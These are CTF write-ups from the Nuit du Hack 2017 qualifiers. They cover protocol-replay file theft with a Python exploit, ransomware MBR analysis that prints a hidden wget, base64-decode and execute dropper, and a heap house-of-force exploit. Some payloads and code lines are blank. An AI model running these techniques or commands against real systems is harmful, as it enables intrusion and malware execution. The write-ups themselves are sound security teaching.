Nuit du Hack 2017 quals

After this intensive 24 hours of competition, some of you released very good writeups. We would like to complete this by adding the missing one and give a solution to those who are still waiting for them.


A simple image with a hidden message. The image shows a mendeleev periodic table. Some of the elements symbol are used to hide the message. The message is written in a black ink different than the one used to draw the table. Just by applying a filter on the image to extract only a specific color level.


Once you obtained the filtered file, follow the element by their atomic number to rebuild the flag.


You Have Been Terminated

Here is the link of a very good writeup.

Write up link


Here is the link of a very good writeup.

Write up link


Here is the link of a very good writeup.

Write up link

No Pain No Gain

Here is the link of a very good writeup.

Write up link

Slumdog Millionaire

Here is the link of a very good writeup.

Write up link

Purple Posse Market

Here is the link of a very good writeup.

Write up link


Here is the link of a very good writeup.

Write up link

Divide and rule

Here is the link of a very good writeup.

Write up link


Step 1

Here is the link of a very good writeup.

Write up link

Step 2

Here is the link of a very good writeup.

Write up link

Step 3

Here is the link of a very good writeup.

Write up link

Step 4

Here is the link of a very good writeup.

Write up link



The main goal of this challenge is to:

  • reverse the network protocol
  • replay the directory listing command on the server
  • replay the download file command on the server

Since the communications are encrypted through a TLS channel, you will first need to get the clear text communications (by coding a TLS relay proxy, or using strace/ltrace/frida/gdb ...).

The tlsrelay.go provided in this directory is an example of TLS relay proxy.

Once you got the clear text communications, you can start your analysis.


For your information, the protocol structure looks like the following:


  • Version : Protocol version (1 byte)
  • Length : Total payload length in bytes (4 bytes)
  • Uuid : Random identifier (16 bytes), 0 for the server messages
  • Seq : Sequence number (4 bytes)
  • Flags : Request or Response (1 byte)
  • Opcode : 0x0001 to 0x0007 (2 bytes)

Data block

The header can be followed by a data block. Its structure is the following:

  • Len : Total data block size in bytes (4 bytes)
  • Content : byte array

The Content field is a serialized Protobuf message.


To exploit the server side vulnerabilities, you will need to replay and modify two requests made by the server:

  • the directory listing request (coming from the server, to list the /tmp directory)
  • the download file request (which downloads a test file on the infected machine)

Those requests need to be modified like the following:

  • directory listing request:
    • change the UUID to something else than 0
    • change the payload from /tmp to /, and fix the Len field of the Data block. You will also need to fix the length field of the protobuf message
  • download file request:
    • change the UUID to something else than 0
    • change the payload from /tmp/ce511fce75eb2e3eec0af2fc15f2fa1307ef3ae1 to / to get the server configuration. Don't forget to fix the Len field of the Data block, and the length field of the protobuf message.
    • repeat with /opt/thetalkingguy/config.json to get the config file.
    • once the config has been retrieved, replay the download request once more with the following payload /tmp/66393b316143fd255fb389281df87943163c4141.

The flag should be in the server's response.

Step by step

Let's say we have the following configuration:

  • Client machine :
  • Server : (

The service listening port is 7865.

Add an entry in your /etc/hosts file to point to so that you can intercept the network traffic.

You can then start the tls_relay binary like this:

[email protected]:~/Téléchargement# ./tls_relay -remote

Then, just watch the traffic going through your proxy. You can now start your analysis.

The directory listing and download requests and responses have been commented on the following dump:

[email protected]:~/Téléchargements# ./tls_relay -remote                                                                                                                                                                                                    [712/1099]2017/03/10 15:27:10 Listening on
2017/03/10 15:27:12 Client packet
2017/03/10 15:27:12 010000001c5fd4d6cac9e34a65858709b5a4cf59bb0000000001000200000000
2017/03/10 15:27:12 Server packet
2017/03/10 15:27:12 0100000062000000000000000000000000000000000000001c020002000000460a2a0a04686f7374122274686574616c6b696e676775792e7175616c732e6e75697464756861636b2e636f6d0a0c0a04706f72741204373836350a0a0a046672657112023230
2017/03/10 15:27:12 Client packet
2017/03/10 15:27:12 010000001c5fd4d6cac9e34a65858709b5a4cf59bb0000000001000200000000
2017/03/10 15:27:12 Server packet
2017/03/10 15:27:12 0100000062000000000000000000000000000000000000001c020002000000460a2a0a04686f7374122274686574616c6b696e676775792e7175616c732e6e75697464756861636b2e636f6d0a0c0a04706f72741204373836350a0a0a046672657112023230
2017/03/10 15:27:17 Client packet
2017/03/10 15:27:17 010000001c5fd4d6cac9e34a65858709b5a4cf59bb0000000001000700000000
2017/03/10 15:27:17 Server packet
2017/03/10 15:27:17 010000001c000000000000000000000000000000000000000001000100000000
2017/03/10 15:27:17 Client packet
2017/03/10 15:27:17 010000001c5fd4d6cac9e34a65858709b5a4cf59bb0000001c02000100000000
2017/03/10 15:27:17 Server packet
2017/03/10 15:27:17 010000001c000000000000000000000000000000000000000001000600000000
2017/03/10 15:27:17 Client packet
2017/03/10 15:27:17 01000001f45fd4d6cac9e34a65858709b5a4cf59bb0000001c020006000001d80a4c0a075379736e616d6512414c696e75780000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000a4d0a084e6f64656e616d6512416b616c69000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000a4c0a074d616368696e6512417838365f363400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000a4c0a0752656c656173651241342e362e302d6b616c69312d616d6436340000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000a4f0a0a446f6d61696e6e616d651241286e6f6e652900000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000a4c0a0756657273696f6e1241233120534d502044656269616e20342e362e342d316b616c69312028323031362d30372d3231290000000000000000000000000000000000000000000000000000
# Directory listing request
2017/03/10 15:27:17 Server packet
2017/03/10 15:27:17 01000000220000000000000000000000000000000000000000010005000000060a042f746d70
# Directory listing response
2017/03/10 15:27:17 Client packet
2017/03/10 15:27:17 01000001945fd4d6cac9e34a65858709b5a4cf59bb00000022020005000001780a0d0a092e4943452d756e697810010a0e0a0a2e546573742d756e697810010a0d0a0b2e58313032342d6c6f636b0a0d0a092e5831312d756e697810010a0d0a092e58494d2d756e697810010a0e0a0a2e666f6e742d756e697810010a2aa28636535313166636537356562326533656563306166326663313566326661313330376566336165310a110a0d6d6f7a696c6c615f726f6f743010010a140a107373682d504f50317176565443734b6a10010a4a0a4673797374656d642d707269766174652d34333933653034353236616334636363623837666363663930383064326530642d66f6c6f72642e736572766963652d4c636e6e737210010a500a4c73797374656d642d707269766174652d34333933653034353236616334636363623837666363663930383064326530642d72746b69742d6461656d6f6e2e736572766963652d72656d4e494510010a0a0a06746d75782d3010010a1b0a17747261636b65722d657874726163742d
2017/03/10 15:27:17 Server packet
2017/03/10 15:27:17 01000002730000000000000000000000000000000000000000010004000002570a2d2f746d702f636535313166636537356562326533656563306166326663313566326661313330376566336165311080041a207e8c8219f2d5ef79e9013db5f8f94beb72027811fafa12539ee3f25671af9d44228004787fa7806066271bcec1751b2a9f5c8e6099147759d30773fdf7f026dc65f293701bc95686b46dcf903ff09235081ff0cdf3a263fa71301a2ed8bdba386e19a8faea24eec80c42b13db20acb31272db020a414119952dacd634c2071af9cd21cb62a540f517950031f16a6322078fe30fdefa55e3e92f8ab8e3edae396ebcbb8c7a5377a696e191c1e41619a5bc4495ffbecf312148a15e10557b5f7b8ac9cf53465c08e1a783019b7860f6e96415a2ed7b09af15052dd2640740630e2df1c5b90049ff2bd867ad92803bd17e7997c00eedadbdafc6ae0c297029feeed778457fafa4325b99b8441bfe987252672c1930a6351df2706cb3ce6d55e84e1f1f7fde9238d8a98768426515da8e26b838eb62f098fe8a97421
2017/03/10 15:27:17 Client packet
2017/03/10 15:27:17 010000001c5fd4d6cac9e34a65858709b5a4cf59bb0000027302000400000000
# Download file request
2017/03/10 15:27:17 Server packet
2017/03/10 15:27:17 010000004b00000000000000000000000000000000000000000100030000002f0a2d2f746d702f63653531316663653735656232653365656330616632666331356632666131333037656633616531
# Dowload file response
2017/03/10 15:27:17 Client packet
2017/03/10 15:27:17 01000002735fd4d6cac9e34a65858709b5a4cf59bb0000004b020003000002570a2d2f746d702f636535313166636537356562326533656563306166326663313566326661313330376566336165311080041a207e8c8219f2d5ef79e9013db5f8f94beb72027811fafa12539ee3f25671af9d44228004787fa7806066271bcec1751b2a9f5c8e6099147759d30773fdf7f026dc65f293701bc95686b46dcf903ff09235081ff0cdf3a263fa71301a2ed8bdba386e19a8faea24eec80c42b13db20acb31272db020a414119952dacd634c2071af9cd21cb62a540f517950031f16a6322078fe30fdefa55e3e92f8ab8e3edae396ebcbb8c7a5377a696e191c1e41619a5bc4495ffbecf312148a15e10557b5f7b8ac9cf53465c08e1a783019b7860f6e96415a2ed7b09af15052dd2640740630e2df1c5b90049ff2bd867ad92803bd17e7997c00eedadbdafc6ae0c297029feeed778457fafa4325b99b8441bfe987252672c1930a6351df2706cb3ce6d55e84e1f1f7fde9238d8a98768426515da8e26b838eb62f098fe8a97421177dbfeabc87665eb227613770961a578f75c5f7433f7f6458e71ee9b5852f021a6efa4d52441d48734340bb03b46f4716cb29cf3b3726c43d7d8e5af3b311a8f8b8f6dc24fa8f2dc87a1f3aae2ac187a19fe047d058a8ae7f27fe5f202b28fde780b988bdd5d3c4632bac297fd63561d9eb7223ea123d912e5736b191cbc2f17e417d32f783505c3ca17b4891f07026aadece9867fbf946fe9fd57174cc6ae26ff75be821e5221443e8ea6f3fa00330422a2d184ae792e3ee685b51685975cb41c4e4063b046950c4d60451f4c24389ca8a0303b5b082947681000787ac7bf3f8abb3587e19b7

You can spot the transmitted data by converting the captured frames to string:

>>>import binascii
>>>directory_listing_req = '01000000220000000000000000000000000000000000000000010005000000060a042f746d70'
>>>directory_listing_resp = '01000001945fd4d6cac9e34a65858709b5a4cf59bb00000022020005000001780a0d0a092e4943452d756e697810010a0e0a0a2e546573742d756e697810010a0d0a0b2e58313032342d6c6f636b0a0d0a092e5831312d756e697810010a0d0a092e58494d2d756e697810010a0e0a0a2e666f6e742d756e697810010a2aa28636535313166636537356562326533656563306166326663313566326661313330376566336165310a110a0d6d6f7a696c6c615f726f6f743010010a140a107373682d504f50317176565443734b6a10010a4a0a4673797374656d642d707269766174652d34333933653034353236616334636363623837666363663930383064326530642d66f6c6f72642e736572766963652d4c636e6e737210010a500a4c73797374656d642d707269766174652d34333933653034353236616334636363623837666363663930383064326530642d72746b69742d6461656d6f6e2e736572766963652d72656d4e494510010a0a0a06746d75782d3010010a1b0a17747261636b65722d657874726163742d'
>>>download_file_request = '010000004b00000000000000000000000000000000000000000100030000002f0a2d2f746d702f63653531316663653735656232653365656330616632666331356632666131333037656633616531'
'\x01\x00\x00\x01\x94_\xd4\xd6\xca\xc9\xe3Je\x85\x87\t\xb5\xa4\xcfY\xbb\x00\x00\x00"\x02\x00\x05\x00\x00\x01x\n\r\n\t.ICE-unix\x10\x01\n\x0e\n\n.Test-unix\x10\x01\n\r\n\x0b.X1024-lock\n\r\n\t.X11-unix\x10\x01\n\r\n\t.XIM-unix\x10\x01\n\x0e\n\n.font-unix\x10\x01\n*\xa2\x866SS\x13\x16f6SsVV#&S6VV3\x06\x16c&f3\x13Vc&f\x13\x133\x03vVc6\x16S\x10\xa1\x10\xa0\xd6\xd6\xf7\xa6\x96\xc6\xc6\x15\xf7&\xf6\xf7C\x01\x00\x10\[email protected]\xa1\x0776\x82\xd5\x04\xf5\x03\x17\x17eeD74\xb6\xa1\x00\x10\xa4\xa0\xa4g7\x977FV\xd6B\xd7\x07&\x97f\x17FR\xd3C3\x936S\x03CS#f\x163F666#\x83vf66c\x93\x03\x83\x06C&S\x06B\xd6olord.service-Lcnnsr\x10\x01\nP\nLsystemd-private-4393e04526ac4cccb87fccf9080d2e0d-rtkit-daemon.service-remNIE\x10\x01\n\n\n\x06tmux-0\x10\x01\n\x1b\n\x17tracker-extract-f\x96\xc6W2\xe3\x01\x00\x10'

With this, we just have to craft our new payloads.

At first, we will try to list the / directory, to check for any files that might be interesting.

To do that, we just need to alter a bit the directory listing request that we received. In this payload, we have to replace /tmp with /, and adjust two length size. Indeed, this string is passed as a data block, which is a serialized protobuf message. Moreover, the size of the block precedes the actual data.

Thus, our payload (hex encoded) will be the following:


The interesting part of this payload is at the end:

  • 0x03 is the length of the block
  • 0x0a is the protobuf String identifier
  • 0x01 is the size of the string
  • 0x2f is our string (/)

We just have to send this payload to the server to receive the listing:

import sys
import socket
import binascii
import ssl

PORT = 7865
# Directory listing of '/'
DIRLIST_PAYLOAD = b'0100000022A000000000000000000000000000000000000000010005000000030a012f'

def exp(host, port):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    # Use TLSv1.2
    wrapped = ssl.wrap_socket(sock, ssl_version=ssl.PROTOCOL_TLSv1_2)
    # Send payload
    resp = str(wrapped.recv(8192))

if __name__ == '__main__':
    host = sys.argv[1]
    exp(host, PORT)

Executing the script gives us the following output:

% python | strings -n 2

Great, we're seeing an file. Let's use the download request to get the content.

We'll use the same technique, but with the download request. Here is the payload:


Once again, small description:

  • 0x10 is the block size
  • 0x0a is the protobuf String identifier
  • 0x0e is the length of our string (/
  • 0x2f656e747279706f696e742e7368 is our string hex encoded

We then get the content of the file, which is:

set -e
if [ "$1" = "run" ]; then
  /opt/thetalkingguy/server --config /opt/thetalkingguy/config.json
  echo "Unsupported command $1"
  exit 1

Ok, that looks good ! Let's rinse and repeat to get the /opt/thetalkingguy/config.json file.

Here is the payload (the same technique is used, so I'll pass on the explanation):


And the result:

    "Server" : "",
    "Port" : 7865,
    "BaseDir" : "/opt/thetalkingguy",
    "FlagFile" : "/tmp/66393b316143fd255fb389281df87943163c4141",
    "LogFile" : "/dev/stdout",
    "TestFile": "/tmp/ce511fce75eb2e3eec0af2fc15f2fa1307ef3ae1",
    "CertFile" : "/opt/thetalkingguy/tls/server.crt",
    "KeyFile" : "/opt/thetalkingguy/tls/server.key",
        "Host" : "",
        "Port" : 7865,
        "Freq" : 20

Nice, we now have the location of the flag file. Let's replay the download request one last time to get the flag:


And the result:


From Russia With Love


Hello Mister Bond

We have a problem. It seems someone targeted our agency with a ransomware. Here is a dump of a removable storage device with a sample of encrypted file. Can you help us to decrypt our files by finding the encryption key? We need it at format NDH{flag} To protect this dump against foreign agencies, we have protected it with the password "infected". Take your brain, a virtual machine, and a Martini bottle as gadgets and may the Queen be with you.


USB dump analysis

The challenge file is an encrypted zip archive containing an USB dump. After mounting it, we can access to a file named « picture.bmp » that didn't seems to be valid :

picture.bmp extraction

As this challenge is in the category « reverse », an executable is probably hidden somewhere but binwalk didn't find anything suspicious in « picture.bmp » and photorec didn't recover any removed executables.

After launching the command « strings », we may notice some strange strings in the USB dump :

strings on dump.img

As those strings are at the beginning of the dump, they may be used by its MBR. So let's reverse it…

After reversing the MBR with IDApro, we can say it initialize some segment, print the string « Booting... », load 4 sectors of the devices in memory before cleaning the MBR and jumping on the manually loaded sectors :

MBR analysis with IDA

The next part of the process is a bit trickier but, in summary, it will read the first sectors of hard drives of the computer searching those starting by « # ! /bin/sh » and will modify them before printing the message « Error XXX : Remove storage devices and restart » :

Booting error

We may also just search this error message and notice the next bytes are a string XORed with a simple 0x90 :


After xoring those bytes we obtain the string :

wget -O /tmp/b 2> /dev/null > /dev/null; cat /tmp/b | base64 -d > /tmp/a 2> /dev/null; chmod +x /tmp/a 2> /dev/null; /tmp/a &

Malware analysis

The « yzaegrdsfhvzey.txt » file is an ELF binary encoded in base64 that we will need to analyze now.

Even if the binary isn't really obfuscated, one of the quickest ways to analyze it is to run it (in a VM :) ) :


It creates a file named « /tmp/.time » and then wait few moments using the function stat() to check « /tmp/.time » timestamp :

File creation and sleep

Once the delay is over, it creates a shared library name « /lib/ » and use it to hook some functions by writing its name into the file « /etc/ :


OK, now let's reverse this library :

It contains few hooking functions : « remove() », « unlink() », « unlinkat() », « rename() », « chmod() », « link() », « symlink() », « readdir() », « kill() », « ptrace() » and « execve() ».

The most interesting one is « chmod() » : if the parameter filename is « sqhgezlkderkuremodyuxdvporemldwfoiezrgfwfzerpok », this function will try to connect on a random server on port 80 until it gets an answer and use it to encrypt files...

The encryption algorithm

The first 17 characters of the answer are used to generate a 64 bytes key using the following algorithm :

Encryption algorithm

For each file, a random IV of 65 bytes is generated and the file is encrypted using a simple XOR or IV, the 64 bytes key and the file content :

c[i] = c[i] ^ key[i % 64] ^ IV[i % 65]

Every encrypted files start with the random IV on 65 bytes, the original file size on 8 bytes and the encrypted content :


As we know, the IV, and we can deduce some bytes of the original files content, we may retrieve some bytes of the encryption key.


The following source code may be used to retrieve the pass and decrypt the BMP file :

Then, as this key is made with a shitty CRC, we may brute force it until finding the 2 characters of the password used to generate each CRC.


#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>

struct  hdrRansom
    unsigned char   iv[65];
    off_t       size;
} __attribute__ ((packed));

uint32_t    myCrc32(const unsigned char *buffer, unsigned long size)
    unsigned long   i;
    int     j;
    uint32_t    byte;
    uint32_t    crc;
    uint32_t    mask;

    i = 0;
    crc = 0xFFFFFFFF;
    while (i < size)
        byte = buffer[i];
        crc = crc ^ (byte & 0xff);
        for (j=7; j>=0; j--)
            mask = -(crc & 1);
            crc = (crc >> 1) ^ (0xEDB88320 & mask);

        i = i + 1;

    return (~crc);

int identCharCRC(char tab[2], uint32_t crc)
    char        tabTmp[2];
    unsigned int    ok;
    unsigned int    i;
    unsigned int    j;

    ok = 0;
    for (i=0; i<256; i++)
        for (j=0; j<256; j++)
            tabTmp[0] = i;
            tabTmp[1] = j;
            if (myCrc32(tabTmp, 2) == crc)
                tab[0] = tabTmp[0];
                tab[1] = tabTmp[1];

    return (ok);

int main(int argc, const char **argv)
    int         ok;
    unsigned long       i;
    unsigned long       j;
    int         f;
    unsigned char       *buffer;
    unsigned long       size;
    uint32_t        crc;
    uint32_t        crcTmp;
    char            tab[17][2];
    char            pass[20];
    char            keyXor[80];
    uint32_t        *ptr;
    struct hdrRansom    *ptrHdrRansom;

    if ((argc != 2) && (argc != 3))
        return (printf("Usage : %s <filename.bmp> [pass]\n", argv[0]));

    if ((f = open(argv[1], O_RDONLY)) < 0)
        return (printf("Error : Cannot open \"%s\"\n", argv[1]));
        if ((size = lseek(f, 0, SEEK_END)) < 70)
            return (printf("Error : Bad file\n"));
        lseek(f, 0, SEEK_SET);

        if ((buffer = malloc(size + 4)) == NULL)
            return (printf("Error : Malloc error\n"));
        memset(buffer, 0, size);

        if (read(f, buffer, size) < 0)
            return (printf("Error : Read error\n"));

        /* 1 parametre = analyse */     
        if (argc == 2)
            ptrHdrRansom = (struct hdrRansom*)buffer;

            /* Encrypted file's info */
            printf("Encrypted file's info :\n");
            printf("    IV : ");
            for (i=0; i<65; i++)
                printf("%02x", ptrHdrRansom->iv[i]);
            printf("    Original size : %lu (0x%016lx)\n", ptrHdrRansom->size, ptrHdrRansom->size);

            printf("Pass = 17 bytes\n");
            printf("Key  = crc32(pass[0] + pass[1]) + crc32(pass[1] + pass[2]) + ... (64 bytes)\n");
            printf("IV   = 65 bytes\n");

            /* Calcul of the key's first CRC */
            buffer = &(buffer[sizeof(struct hdrRansom)]);
            printf("Calcul of the key's first CRC :\n");
            printf("    If the file is a BMP, it begin with 'BM' followed by the file size on 4 bytes\n");
            printf("    %02x ^ key[0] ^ iv[0] = 'B'\t-> key[0] = %02x\n",
                buffer[0], 'B' ^ buffer[0] ^ ptrHdrRansom->iv[0]);
            printf("    %02x ^ key[1] ^ iv[1] = 'M'\t-> key[1] = %02x\n",
                buffer[1], 'M' ^ buffer[1] ^ ptrHdrRansom->iv[1]);
            printf("    %02x ^ key[2] ^ iv[2] = 0x%02x\t-> key[2] = %02x\n", 
                buffer[2], (ptrHdrRansom->size & 0xff), 
                (ptrHdrRansom->size & 0xff) ^ buffer[2] ^ ptrHdrRansom->iv[2]);
            printf("    %02x ^ key[3] ^ iv[3] = 0x%02x\t-> key[3] = %02x\n", 
                buffer[3], ((ptrHdrRansom->size >> 8) & 0xff), 
                ((ptrHdrRansom->size >> 8) & 0xff) ^ buffer[3] ^ ptrHdrRansom->iv[3]);
            printf("    %02x ^ key[4] ^ iv[4] = 0x%02x\t-> key[4] = %02x\n", 
                buffer[4], ((ptrHdrRansom->size >> 16) & 0xff), 
                ((ptrHdrRansom->size >> 16) & 0xff) ^ buffer[4] ^ ptrHdrRansom->iv[4]);
            printf("    %02x ^ key[5] ^ iv[5] = 0x%02x\t-> key[5] = %02x\n", 
                buffer[5], ((ptrHdrRansom->size >> 24) & 0xff), 
                ((ptrHdrRansom->size >> 24) & 0xff) ^ buffer[5] ^ ptrHdrRansom->iv[5]);

            crc = ('B' ^ buffer[0] ^ ptrHdrRansom->iv[0]) +
                  (('M' ^ buffer[1] ^ ptrHdrRansom->iv[1]) << 8) + 
                  (((ptrHdrRansom->size & 0xff) ^ buffer[2] ^ ptrHdrRansom->iv[2]) << 16) + 
                  ((((ptrHdrRansom->size >> 8) & 0xff) ^ buffer[3] ^ ptrHdrRansom->iv[3]) << 24);
            printf("    1er crc32 = 0x%08x", crc);

            if ((ok = identCharCRC(tab[0], crc)) != 1)
                return (printf("\nFuck : %d CRC collisions\n", ok));
            printf(" = crc32(\"%c%c\")\n", tab[0][0], tab[0][1]);

            /* This CRC is reused */
            printf("This CRC is reused :\n");
            printf("As the key is 64 bytes long and the IV 65 bytes long, the 1rst CRC is reused every %u bytes : \n", 64 * 65);
            printf("    Offset\tData\n");
            for (i=0; i<size - sizeof(struct hdrRansom); i+= 64*65)
                printf("    %lu :\t%02x%02x%02x%02x\n", i,
                    ((crc & 0xff) ^ buffer[i] ^ ptrHdrRansom->iv[0]),
                    (((crc >> 8) & 0xff) ^ buffer[i+1] ^ ptrHdrRansom->iv[1]),
                    (((crc >> 16) & 0xff) ^ buffer[i+2] ^ ptrHdrRansom->iv[2]),
                    (((crc >> 24) & 0xff) ^ buffer[i+3] ^ ptrHdrRansom->iv[3]));
            printf("    0xffffffff data are white pixels\n");

            /* Determination of the following CRC */
            printf("Determination of the following CRC :\n");
            printf("    The picture may have few whites pixels close to each other : \n"); 
            printf("    Offset\tData\t\tnext CRC\tCorresponding characters\tEtc...\n");
            for (i=0; i<size - sizeof(struct hdrRansom) - (64*65); i+= 64*65)
                if (( ((crc & 0xff) ^ buffer[i] ^ ptrHdrRansom->iv[0]) == 0xff) &&
                    ( (((crc >> 8) & 0xff) ^ buffer[i+1] ^ ptrHdrRansom->iv[1]) == 0xff) &&
                    ( (((crc >> 16) & 0xff) ^ buffer[i+2] ^ ptrHdrRansom->iv[2]) == 0xff) &&
                    ( (((crc >> 24) & 0xff) ^ buffer[i+3] ^ ptrHdrRansom->iv[3]) == 0xff))
                    printf("    %lu :\t%02x%02x%02x%02x\t%02x%02x%02x%02x",
                        ((crc & 0xff) ^ buffer[i] ^ ptrHdrRansom->iv[0]),
                        (((crc >> 8) & 0xff) ^ buffer[i+1] ^ ptrHdrRansom->iv[1]),
                        (((crc >> 16) & 0xff) ^ buffer[i+2] ^ ptrHdrRansom->iv[2]),
                        (((crc >> 24) & 0xff) ^ buffer[i+3] ^ ptrHdrRansom->iv[3]),
                        (0xff ^ buffer[i+7] ^ ptrHdrRansom->iv[7]),
                        (0xff ^ buffer[i+6] ^ ptrHdrRansom->iv[6]),
                        (0xff ^ buffer[i+5] ^ ptrHdrRansom->iv[5]),
                        (0xff ^ buffer[i+4] ^ ptrHdrRansom->iv[4]));

                    crcTmp = ((0xff ^ buffer[i+4] ^ ptrHdrRansom->iv[4]) << 0) +
                             ((0xff ^ buffer[i+5] ^ ptrHdrRansom->iv[5]) << 8) +
                             ((0xff ^ buffer[i+6] ^ ptrHdrRansom->iv[6]) << 16) +
                             ((0xff ^ buffer[i+7] ^ ptrHdrRansom->iv[7]) << 24);

                    if (identCharCRC(tab[1], crcTmp) == 1)
                        printf("\t\"%c%c\"\t", tab[1][0], tab[1][1]);

                    for (j=0; j<17; j++)
                        crcTmp = ((0xff ^ buffer[i+(j*4)+0] ^ ptrHdrRansom->iv[(j*4)+0]) << 0) +
                                 ((0xff ^ buffer[i+(j*4)+1] ^ ptrHdrRansom->iv[(j*4)+1]) << 8) +
                                 ((0xff ^ buffer[i+(j*4)+2] ^ ptrHdrRansom->iv[(j*4)+2]) << 16) +
                                 ((0xff ^ buffer[i+(j*4)+3] ^ ptrHdrRansom->iv[(j*4)+3]) << 24);

                        if (identCharCRC(tab[j], crcTmp) == 1)
                            printf("\"%c%c\" ", tab[j][0], tab[j][1]);
                            pass[j] = tab[j][0];
                            pass[j+1] = tab[j][1];
                            pass[j+2] = '\0';
                            printf("     ");


            printf("    Pass = \"%s\"\n", pass);

        /* 2 parameters -> decryption */
        else if (argc == 3) 
            ptrHdrRansom = (struct hdrRansom*)buffer;
            buffer = &(buffer[sizeof(struct hdrRansom)]);

            /* Create the encryption key */
            memset(pass, 0, sizeof(pass));
            strncpy(pass, argv[2], 17);
            for (i=0; i<16; i++)
                ptr = (uint32_t*)&(keyXor[i*4]);
                (*ptr) = myCrc32((const unsigned char*)&(pass[i]), 2);

            /* Decrypt the picture */
            for (i=0; i<ptrHdrRansom->size && i<(size-sizeof(struct hdrRansom)); i++)
                printf("%c", buffer[i] ^ keyXor[i % 64] ^ ptrHdrRansom->iv[i % 65]);
    return (0);

Bender Bending Rodriguez

Here is the link of a very good writeup.

Write up link


Here is the link of a very good writeup.

Write up link


Welcome to Hell my friend. Don't be afraid, come, but you need to open the door to my house.

This is the message this challenge gave us, not a single clue. This challenge was tagged as exploit and network, we will begin by the exploit part then we will finish by the network part.

Sysdream gave us 2 clues in order to solve this challenge. Those clues were:

  • 1 Maybe you need to go to the weight room
  • 2 Ever heard of that nginx bug ?


The exploitation was not so easy as we had to exploit a malloc trick in order to have code execution. The first clue was maybe you need to go to the weight room.

Description of the program

After we disassemble the program, we see some structures.

class Container<T>
    int fd_;                        // the file descriptor of the container 
    unsigned read_call;             // number of read calls
    T *data_;                       // the data vector
    T datas_tmp_[0x3800];           // the temporary vector 
    long datas_tmp_size_;           // the size of the data received in sizeof(T)
    long datas_size_;               // the actual size of the datas

Those structures are stored in the heap segment.

container_double = new Container<double>(fd);
container_long = new Container<long>(fd);
container_unsigned_long = new Container<long unsigned>(fd);
container_char = new Container<char>(fd);
container_int = new Container<int>(fd);

OK, this is it for the program initialization.

The application first Welcomes us.

After we have to tell the application the type of data we which to send, then we can give chunks of data to the application.

OK, now we precise size, the size of the data we are ready to push into the socket, and that will be stored into our container.

Then, not all the data are displayed but we can see the begin of the data.

Description of the vulnerability

There was a vulnerability as describe here for the first part of this chall :href:, this vulnerability is a signedness bug, in fact we can send an negative number which pass the size check and then we can send a really big payload.

The first issue we face here is that if we send a negative value we will trigger an EFAULT in the read call. To bad so sad.

OK then, but when we have the read call, the data are multiplied by sizeof(T) ! cool :) . We could send a negative value (-1879048192), which can be multiplied by 4 and then gives us 1073741824. Then the read can accept a lot of data.

Obtain a memory Leak

First of all, we pollute the heap, in order to have multiple references of the heap and the libc into the heap. Let me explain, the freed small chunks (small bins) are stored in a doubly linked list, they begin and the end of this linked list is on the libc bss, and on the heap if we have multiple freed chunks.

The Heap pollution works as follows :

  • we send, 0x200 bytes into the four containers in this order (char, double, int, long).
  • After we send 0x300 bytes into double_container and long_container, this will create a hole in the heap which will contain our references.
  • Then, we send 0x38000 bytes of data into the double_container and long_container. The purpose is simply to wipe out those containers outside the heap segment.

Once we have polluted the heap, we can see those data with a function that shows us the data :

void show_datas()
    std::cout << "length data dump " << datas_size_ <<  std::endl;
    std::cout << "Begin data dump" << std::endl;
    unsigned i = 0;
    for(; i < datas_size_ && i < 0x2000 ; i++)
        std::cout << datas_[i] << ";";
    std::cout << std::endl;
    if(i == 0x2000)
        std::cout << "there are more datas we have to display" << std::endl;
    std::cout << "End data dump" << std::endl;

OK, this portion of code says that we can display data. Another portion of code is interesting.

if( datas_tmp_size_ + datas_size_ < 0x7600 && datas_tmp_size_ + datas_size_ >= 0 &&
        datas_size_ >= 0 && datas_size_ < 0x7600 &&
        datas_tmp_size_ >= 0 && datas_tmp_size_ < 0x7600
    for(unsigned i = 0; i < datas_tmp_size_;i++)
        datas_[((unsigned int)datas_size_+(unsigned int)i)] = datas_tmp_[i];
    datas_size_ = datas_tmp_size_ + datas_size_;
    return true;

If the size of the data is greater than 0x7600 or less than zero, we won't copy the new data into the buffer, but the data are displayed...

So we overflow the container_int, remember we can modify datas_tmpsize and also datassize. Then we will make datasize great again (joke), and data_tmpsize negative.

Now we have successfully obtained the libc address and the heap address.

Code execution

The first clue says weight room, maybe to get strength. let's play house of force :)

  • First of all, we can overflow the container_int to overwrite the size and the top chunk.
    • In the top chunk we put a negative value. Then nmap won't be called if we go outside the size of the heap.
    • In the size we put the value size = (((got_adress - 16 - top_chunk_adress) - len(payload)) / 4) % 0x10000000000000000. We can now make a new allocation which will be on the got.
  • Secondly, we send the last data to overwrite the address of fflush by the address of system and at the address of stdout we put the string /bin/bash.

Job done!


The second clue was useful for the network part. Because there was a bug in nginx where issues comes when you want to send a big payload over the internet. Because of the MTU (maximum transfer unit) you can't send too much data into the application layer. Data are fragmented in 1500 bytes TCP segment. Then, we have to do a little trick in order to send all the data to the read call.

My trick was the same as describe here :href: This article uses iptables and nfqueue in order to send all pkts except the first and send the first at last. You are now limited by the TCP window size. But this little trick doesn't give us a working exploit.

I decided to reimplement the TCP/IP stack with scapy and to make an interface similar than pwnlib use.


You can reuse it for future chall. Code for the TCP/IP layer.

#!/usr/bin/env python

from scapy.all import IP,TCP, sr1, send, Raw, sniff
from threading import Thread,RLock
import random
import socket
import subprocess
import time

class RecvPkts(Thread) :
    def __init__(self, challenge) :
        self.filter = "tcp and "                                    # TCP communication
        self.filter += "( src host "+challenge.dst
        self.filter += " and dst port "+str(                
        self.filter += " and src port "+str(challenge.dport)+" )"   # all that comes from the target
        self.filter = "("+self.filter+")"                           
        self.chall = challenge

        self.packets_data = []
        self.treated_pkts = 0
        self.buffer_str = ""

        self.lock_buffer_str = RLock()


    def add_packet_recv(self,packet) :
        # if the packet already in the list

        if packet.seq in [ x.seq for x in self.packets_data ] :
        self.packets_data += [packet]
        self.packets_data = sorted(self.packets_data, key=lambda x : x.seq)
        for x in self.packets_data :
            if x.seq == self.chall.sequence_recv :
